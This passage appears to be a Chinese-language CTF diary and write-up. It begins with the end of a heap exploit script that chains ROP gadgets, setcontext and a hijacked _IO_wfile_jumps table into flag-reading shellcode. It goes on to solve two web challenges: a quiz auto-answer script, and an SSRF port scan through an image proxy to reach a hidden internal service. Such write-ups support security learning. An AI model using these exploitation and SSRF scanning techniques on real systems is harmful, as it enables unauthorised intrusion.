pop_rsi_ret = 0x00000000000251be + libc_base
pop_rdx_ret = 0x0000000000166262 + libc_base
syscall_ret = 0x0000000000120975 + libc_base
setcontext = libc_base + libc.sym['setcontext'] + 61
rsp = heap_addr + 0xd0 + 0xe8 + 0x70
rsi = rsp
#0x000000000010bc5f: mov rdx, qword ptr [rax + 0x38]; call qword ptr [rax + 0x10];
gadget = 0x000000000010bc5f + libc_base

p = b''
p = p.ljust(0x70, b'\x00') + p64(rsi)
p = p.ljust(0x88, b'\x00') + p64(0x2000)
p = p.ljust(0xa0, b'\x00') + p64(rsp) + p64(syscall_ret)
p = p.ljust(0xc0) + b'flag\x00'
edit(1, p)

p2 = b''
p2 = p2.ljust(0x18, b'\x00') + p64(1)
p2 = p2.ljust(0x90, b'\x00') + p64(heap_addr + 0xe0)
p2 = p2.ljust(0xc8, b'\x00') + p64(_IO_wfile_jumps)
p2 = p2.ljust(0xd0 + 0xe0, b'\x00') + p64(heap_addr + 0xe0 + 0xe8)
p2 += b'a' * 0x10 + p64(setcontext)
p2 += b'a' * 0x20 + p64(heap_base + 0x7e0 + 0x10)
p2 = p2.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(gadget)
edit(2, p2)

shellcode = asm(shellcraft.mmap(0x50000, 0x7e, 7, 34, 0, 0))
#0x67616c66

shellcode += asm('''
    mov rax, 0x67616c66
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    push 0
    push 0
    push 0
    mov rdx, rsp
    mov r10, 0x18
    push SYS_openat2
    pop rax
    syscall
''')
shellcode += asm(shellcraft.amd64.read("rax", 0x50000 + 0x100, 0x100), arch='amd64')
shellcode += asm(shellcraft.amd64.write(1, 0x50000 + 0x100, 0x100), arch='amd64')

r.sendlineafter(b'>', b'5')

rop = p64(pop_rdi_ret) + p64(heap_base) + p64(pop_rsi_ret) + p64(0x21000) + p64(pop_rdx_ret) + p64(7) + p64(pop_rax_ret) + p64(10) + p64(syscall_ret) + p64(heap_base + 0xf38 + 0x50)
rop += shellcode
r.send(rop)

r.interactive()

#8.30

改了一天论文…困困困

#8.31

写了俩web

勇闯铜人阵

网页源码


<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <title>听声辩位</title>
  </head>
  <link rel="stylesheet" type="text/css" href="/static/style.css">
  <body>

    <h1 id="title">听声辩位</h1>
    <p>闯关弟子注意,本关继续考验你听声辩位的功夫</p>
    <p>你可定坐中央,先后将有五波数字抛出,你需要在3秒内按要求说出方位</p>
    <p>示例:1 -> 北方</p>
    <p>2,3 -> 东北方一个,东方一个</p>
    <p>输入选手名字和 "弟子明白" 开始游戏</p>

    <div class="parent">
      <img src="/static/images/test.png" id="imgs">


    </div>

    <form action="/restart" method="get" id="div_restart">
      <label for="restart">按下按钮重新开始:</label>
      <button id="restart">开始</button>
      <br><br>
    </form>

    <form action="/" method="post" id="submit">
      <label for="player">请输入选手名字:</label>
      <input type="text" id="player" name="player">
      <br><br>
      <label for="direct">请回答问题:</label>
      <input type="text" id="direct" name="direct">
      <br><br>
      <label for="say">按下按钮回答:</label>
      <button id="say">回答</button>
    </form>


    <h1 id="status">
      4, 2

    </h1>

  </body>
</html>

直接写个js自动获取,本来想直接循环的,但是每次提交之后刚刚运行的js好像没了(?,直接gpt写了一段js然后多次运手动行

const directionMap = {
  '1': '北',
  '2': '东北',
  '3': '东',
  '4': '东南',
  '5': '南',
  '6': '西南',
  '7': '西',
  '8': '西北'
};

// 定义一个函数来处理方向数字并生成答案
function handleDirections(directions) {
  let answer = '';
  const directionArray = directions.split(',').map(direction => direction.trim()); // 去除空格
  if (directionArray.length === 1) {
    // 如果只有一个方向,直接输出
    answer = directionMap[directionArray[0]] + '方';
  } else {
    // 如果有多个方向,按照格式输出
    directionArray.forEach((direction, index) => {
      answer += directionMap[direction] + '方一个';
      if (index < directionArray.length - 1) {
        answer += ',';
      }
    });
  }
  return answer;
}

// 获取当前页面的方向数字
const directions = document.getElementById('status').textContent;
console.log('方向:', directions);
const answer = handleDirections(directions);   
console.log('自动生成的答案:', answer);

// 如果你想自动填写到表单并提交,可以取消以下注释
document.getElementById('player').value = 'test';
document.getElementById('direct').value = answer;
document.getElementById('submit').submit();

ImageCloud

给了源码,存在static、uploads两个文件夹和app.py 、app1.py两个flask源码,其中app.py端口在5000可以访问staticapp1.py端口是随机的可以访问uploadsflag.jpguploads,但是直接访问题目运行的是app.py,通过url/image?url=localhost:5000/static/filename可以访问app.py上传上去在static中的图片,app1.py通过localhost:port/image/filename可以访问uploads中的图片,所以直接扫5001-6000的端口找出app1.py运行在哪直接访问flag.jpg获取flag

import requests

for i in range(5000, 6001):
    url = 'http://192.168.56.1:55956/image?url=http://localhost:' + str(i) + '/image/flag.jpg'
    print('port = ' + str(i) + '\nres = ' + requests.get(url, timeout=5).text + '\n')

  目录